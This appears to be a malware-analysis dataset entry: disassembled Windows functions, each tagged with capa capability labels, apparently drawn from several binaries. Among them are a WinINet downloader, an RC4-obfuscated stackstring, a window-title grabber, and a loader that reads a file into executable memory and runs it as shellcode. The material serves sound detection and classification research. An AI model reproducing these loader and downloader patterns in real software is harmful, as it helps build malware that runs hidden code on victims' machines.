joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401760
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41bec3
push eax
mov eax, 0x10d0
mov dword fs:[0], esp
call fcn.00415da0
push ebx
push esi
xor eax, eax
push edi
xor edi, edi
mov word [ebp - 0x2c], ax
lea esi, [edi + 0x1f]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], edi
call fcn.00404510
push edi
push edi
push edi
push edi
push str.Download
mov dword [ebp - 4], edi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
cmp ebx, edi
jne 0x4017cd
cmp dword [ebp - 0x18], 8
jb 0x40190d
mov ecx, dword [ebp - 0x2c]
push ecx
jmp 0x401905
mov eax, dword [ebp - 0x2c]
mov edi, 8
cmp dword [ebp - 0x18], edi
jae 0x4017dd
lea eax, [ebp - 0x2c]
push 0
push 0x84000100
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x401805
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x18], edi
jmp 0x4018ff
lea eax, [ebp - 0xd8]
push eax
call fcn.004024a0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 4]
test byte [ebp + edx - 0xcc], 6
je 0x401855
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0
call fcn.00401920
cmp dword [ebp - 0x18], edi
jb 0x40190d
mov eax, dword [ebp - 0x2c]
push eax
jmp 0x401905
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x10]
push ecx
push 0x1000
lea edx, [ebp - 0x10d8]
push edx
push esi
call edi
test eax, eax
je 0x4018a6
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4018a6
push 0
push eax
lea eax, [ebp - 0x10d8]
push eax
lea ecx, [ebp - 0xd8]
push ecx
call fcn.00401f60
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10d8]
push eax
push esi
call edi
test eax, eax
jne 0x401872
lea ecx, [ebp - 0xd4]
call fcn.004034e0
test eax, eax
jne 0x4018e0
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xcc]
lea ecx, [ebp + ecx - 0xd8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x4018d8
or eax, 4
push 0
push eax
call fcn.00401500
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0
call fcn.00401920
cmp dword [ebp - 0x18], 8
jb 0x40190d
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00408159
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401990
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push str.C:Usersinx.cod
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401a20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x401a49
push 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call fcn.004087d7
mov dword [esp + 0x10], edx
lea edx, [esp + 0xc]
add esp, 4
push edx
mov dword [esp + 0xc], eax
call fcn.0040867e
add esp, 4
mov esi, eax
mov eax, dword [esi + 0xc]
mov edx, dword [esi + 0x14]
push eax
push ecx
push str.__::_
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push ecx
push 0x4201f8
push ecx
add edx, 0x76c
push edx
push 0x424978
call fcn.00401c20
add esp, 4
push eax
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
add esp, 4
push eax
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
mov eax, dword [esi]
mov edx, dword [esi + 8]
push eax
push ecx
push 0x4201fc
push ecx
mov ecx, dword [esi + 4]
push ecx
push ecx
push 0x420200
push ecx
push edx
push ecx
push 0x420204
push 0x424978
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
add esp, 4
push eax
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
add esp, 4
push eax
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401df0
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x401b3f
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401b3f
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401b60
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401b58
or eax, 4
push 0
push eax
call fcn.00401500
call fcn.00401760
call fcn.00401990
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403610
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41bc88
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
mov ebx, ecx
cmp dword [ebx + 0x44], 0
je 0x4037e4
cmp byte [ebx + 0x49], 0
je 0x4037e4
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x403661
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x403684
lea eax, [ebp - 0x2c]
push edi
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
push esi
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4036a3
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x10]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x4036e6
dec eax
je 0x4036ea
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4037c2
call fcn.00401bc0
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4036fa
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
sub esi, edx
je 0x403727
cmp edi, 0x10
jae 0x403709
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00408330
add esp, 0x10
cmp esi, eax
jne 0x4037b7
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4037bf
test esi, esi
jne 0x403697
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4037da
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4037da
cmp edi, esi
jae 0x4037a0
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00405360
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403697
mov ecx, eax
cmp edi, 0x10
jae 0x40377c
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x403797
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403691
test esi, esi
jne 0x403772
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x4037af
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403691
lea ecx, [ebp - 0x2c]
jmp 0x4036ce
lea ecx, [ebp - 0x2c]
call fcn.00401bc0
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x42021c
call fcn.00406b78
mov ecx, dword [ebp - 0xc]
mov al, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x406140
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebx
push ebx
push str._s___Utility_to_manipulate_NSS_certificate_databases_n_nUsage:___s__command___d__database_directory___options__n_nValid_commands:_n
push 2
call dword [sym.imp.nspr4.dll_PR_GetSpecialFD]
add esp, 4
push eax
call dword [sym.imp.nspr4.dll_PR_fprintf]
push 0
push 1
push ebx
call fcn.00405a10
add esp, 0x1c
push ebx
push ebx
push ebx
push str._n_s__H__command__:_Print_available_options_for_the_given_command_n_s__H_:_Print_complete_help_output_of_all_commands_and_options_n_s___syntax_:_Print_a_short_summary_of_all_commands_and_options_n
push 2
call dword [sym.imp.nspr4.dll_PR_GetSpecialFD]
add esp, 4
push eax
call dword [sym.imp.nspr4.dll_PR_fprintf]
add esp, 0x14
push 1
call dword [sym.imp.MSVCR120.dll_exit]
pop ebx
int3
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x48b670]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push ebp
push esi
mov al, 0x17
push edi
mov edi, ecx
mov byte [esp + 0x1c], al
mov byte [esp + 0x1e], al
xor eax, eax
xor ecx, ecx
mov byte [esp + 0x10], 0x7c
mov byte [esp + 0x11], 0x4e
mov byte [esp + 0x12], 3
mov byte [esp + 0x13], 4
mov byte [esp + 0x14], 0x55
mov byte [esp + 0x15], 5
mov byte [esp + 0x16], 9
mov byte [esp + 0x17], 7
mov byte [esp + 0x18], 0x2d
mov byte [esp + 0x19], 0x2c
mov byte [esp + 0x1a], 0x7b
mov byte [esp + 0x1b], 0x38
mov byte [esp + 0x1d], 0xd
mov byte [esp + 0x1f], 0x11
xor esi, esi
and eax, 0xf
movzx edx, ax
mov dl, byte [esp + edx + 0x10]
mov byte [esp + esi + 0x20], cl
mov byte [esp + esi + 0x120], dl
inc ecx
mov edx, 0x100
inc eax
inc esi
cmp cx, dx
jb 0x401070
xor eax, eax
xor ecx, ecx
mov esi, edx
jmp 0x4010a0
mov dl, byte [esp + ecx + 0x20]
movzx ebx, byte [esp + ecx + 0x120]
movzx ebp, dl
add ebx, eax
add ebp, ebx
and ebp, 0x800000ff
jns 0x4010c3
dec ebp
or ebp, 0xffffff00
inc ebp
movzx eax, bp
mov bl, byte [esp + eax + 0x20]
mov byte [esp + ecx + 0x20], bl
inc ecx
sub esi, 1
mov byte [esp + eax + 0x20], dl
jne 0x4010a0
xor ecx, ecx
mov ebp, 0x200
nop
inc ecx
and ecx, 0x800000ff
jns 0x4010f1
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, cx
movzx ecx, ax
mov al, byte [esp + ecx + 0x20]
movzx edx, al
add edx, esi
and edx, 0x800000ff
jns 0x401110
dec edx
or edx, 0xffffff00
inc edx
movzx edx, dx
movzx esi, dx
movzx edx, byte [esp + esi + 0x20]
mov byte [esp + ecx + 0x20], dl
mov byte [esp + esi + 0x20], al
movzx eax, al
and eax, 0x800000ff
jns 0x401134
dec eax
or eax, 0xffffff00
inc eax
movzx edx, byte [esp + ecx + 0x20]
add eax, edx
and eax, 0x800000ff
jns 0x401149
dec eax
or eax, 0xffffff00
inc eax
movzx eax, ax
movzx edx, byte [esp + eax + 0x20]
xor byte [edi], dl
inc edi
sub ebp, 1
jne 0x4010e0
mov ecx, dword [esp + 0x220]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0042fc9e
add esp, 0x214
ret
Function at 0x4017f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x470470
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x48b670]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
xor ecx, ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], vtable.CPen.0
mov dword [esp + 0x30], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], vtable.CBrush.0
mov byte [esp + 0x30], 1
mov eax, dword [esi + 0xb0]
push eax
push ecx
push ecx
call dword [sym.imp.GDI32.dll_CreatePen]
push eax
lea ecx, [esp + 0x20]
call fcn.00418c8c
mov esi, dword [esi + 0xac]
push esi
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
lea ecx, [esp + 0x18]
call fcn.00418c8c
mov esi, dword [ebp + 8]
lea eax, [esp + 0x1c]
push eax
mov ecx, esi
call fcn.00418d77
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
mov edi, eax
call fcn.00418d77
mov ebx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [eax + 0xc]
mov ecx, dword [eax + 8]
push edx
mov edx, dword [eax + 4]
mov eax, dword [eax]
push ecx
mov ecx, dword [esi + 4]
push edx
push eax
push ecx
call dword [sym.imp.GDI32.dll_Rectangle]
push edi
mov ecx, esi
call fcn.00418d77
push ebx
mov ecx, esi
call fcn.00418d77
lea ecx, [esp + 0x1c]
call fcn.00418ce4
lea ecx, [esp + 0x14]
call fcn.00418ce4
mov byte [esp + 0x30], 0
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], vtable.CBrush.0
call fcn.00402050
mov dword [esp + 0x30], 0xffffffff
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], vtable.CPen.0
call fcn.00402050
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x403950
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470bf8
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x48b670]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov edi, ecx
xor esi, esi
push 0x40
lea ecx, [ebp - 0x74]
push esi
push ecx
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x7c], vtable.CMD5Checksum.0
call fcn.00431210
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], 0x67452301
mov dword [ebp - 0x28], 0xefcdab89
mov dword [ebp - 0x24], 0x98badcfe
mov dword [ebp - 0x20], 0x10325476
mov dword [ebp - 0x78], esi
mov dword [ebp - 4], esi
push 0x100000
mov dword [ebp - 0x80], esi
mov byte [ebp - 4], 1
call fcn.00411469
mov ebx, eax
add esp, 0x10
mov dword [ebp - 0x80], ebx
cmp ebx, esi
je 0x403a9e
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx]
mov eax, dword [edx + 0x28]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
push 0
push 0
push 0
call eax
lea esp, [esp]
test edi, edi
ja 0x403a18
test esi, esi
jbe 0x403a51
xor eax, eax
cmp edi, eax
jb 0x403a30
ja 0x403a29
mov eax, 0x100000
cmp esi, eax
jb 0x403a30
mov eax, 0x100000
jmp 0x403a32
mov eax, esi
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x34]
push ebx
call eax
sub esi, eax
push ebx
lea ecx, [ebp - 0x7c]
sbb edi, 0
call fcn.004043f0
jmp 0x403a10
push ebx
call fcn.00411474
mov esi, dword [ebp - 0x88]
add esp, 4
push esi
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x80], 0
call fcn.004041d0
mov eax, dword [ebp - 0x78]
test eax, eax
je 0x403a80
push eax
call fcn.00411474
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.0042fc9e
mov esp, ebp
pop ebp
ret
push 0x47a404
mov ecx, edi
call fcn.00404890
mov eax, edi
jmp 0x403a82

Function at 0x404570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x404589
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4045c4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4045c0
lea ebx, [ebx]
cmp esi, eax
jae 0x4045c4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4045b0
cmp esi, eax
jb 0x4045ca
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x404950
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [eax + 0x3c]
push edi
mov edi, dword [eax + 0x38]
lea edx, [esi - 4]
xor eax, eax
mov ecx, edi
test edx, edx
jbe 0x404981
push ebx
push ebp
movzx ebp, byte [ecx]
mov ebx, eax
shr ebx, 0x18
xor ebx, ebp
shl eax, 8
xor eax, dword [ebx*4 + 0x48d768]
inc ecx
sub edx, 1
jne 0x404965
pop ebp
pop ebx
xor ecx, ecx
cmp dword [edi + esi - 4], eax
pop edi
sete cl
pop esi
mov eax, ecx
ret
Function at 0x405340
Capabilities:
Get file size

Disassembly:
push ecx
mov edx, dword [ecx + 0x1b8]
push esi
lea eax, [esp + 4]
push eax
mov dword [esp + 8], 0
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40536d
or eax, eax
or edx, esi
pop esi
pop ecx
ret
mov ecx, dword [esp + 4]
push 1
push 0
push 0
push ecx
call fcn.00433bd0
xor ecx, ecx
add eax, esi
adc edx, ecx
pop esi
pop ecx
ret
Function at 0x40db30
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x46dc4b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x48b670]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004496ff
push 4
mov dword [esp + 0x24], 0
call fcn.0041143a
mov edi, eax
add esp, 4
test edi, edi
je 0x40dbb2
call fcn.004499b1
mov dword [edi], eax
call fcn.004497df
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.004496c0
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x40dba7
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.004496e8
jmp 0x40dbb4
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret

Function at 0x416ec5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x416f0c
call fcn.0041e614
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x416f0c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x416f28
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00416a3d
mov esi, eax
test edi, edi
je 0x416f26
test ebx, ebx
je 0x416f26
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x417742
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x46ca78
call fcn.004310ca
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x417767
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x4177ad
lea ecx, [ebp - 0x10]
call fcn.00401d90
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00416f2f
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401de0
mov eax, esi
call fcn.004311a2
ret 8
Function at 0x41c1bd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x41c205
call fcn.0041e614
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41c205
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x41c248
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x41c231
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x41c231
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x41c245
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41d75e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x41d782
cmp dword [edi + 0x54], 0
jne 0x41d782
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0041e614
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041d71f
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42fc9e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48b670]
jne 0x42fca8
repz ret
jmp fcn.00435b69
Function at 0x43eaad
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004354cd
and dword [ebp - 4], 0
cmp dword [0x490bc0], 0
mov ebx, eax
jne 0x43eb5e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43ec0f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x43ec0f
push eax
call fcn.0043545b
mov dword [esp], 0x476bf4
push edi
mov dword [0x490bc0], eax
call esi
push eax
call fcn.0043545b
mov dword [esp], 0x476be0
push edi
mov dword [0x490bc4], eax
call esi
push eax
call fcn.0043545b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x490bc8], eax
call esi
push eax
call fcn.0043545b
pop ecx
mov dword [0x490bd0], eax
test eax, eax
je 0x43eb5e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043545b
pop ecx
mov dword [0x490bcc], eax
mov eax, dword [0x490bcc]
cmp eax, ebx
je 0x43ebb6
cmp dword [0x490bd0], ebx
je 0x43ebb6
push eax
call fcn.004354d6
push dword [0x490bd0]
mov esi, eax
call fcn.004354d6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43ebb6
test edi, edi
je 0x43ebb6
call esi
test eax, eax
je 0x43ebad
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43ebad
test byte [ebp - 0xc], 1
jne 0x43ebb6
or dword [ebp + 0x10], 0x200000
jmp 0x43ebef
mov eax, dword [0x490bc4]
cmp eax, ebx
je 0x43ebef
push eax
call fcn.004354d6
pop ecx
test eax, eax
je 0x43ebef
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43ebef
mov eax, dword [0x490bc8]
cmp eax, ebx
je 0x43ebef
push eax
call fcn.004354d6
pop ecx
test eax, eax
je 0x43ebef
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x490bc0]
call fcn.004354d6
pop ecx
test eax, eax
je 0x43ec0f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43ec11
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret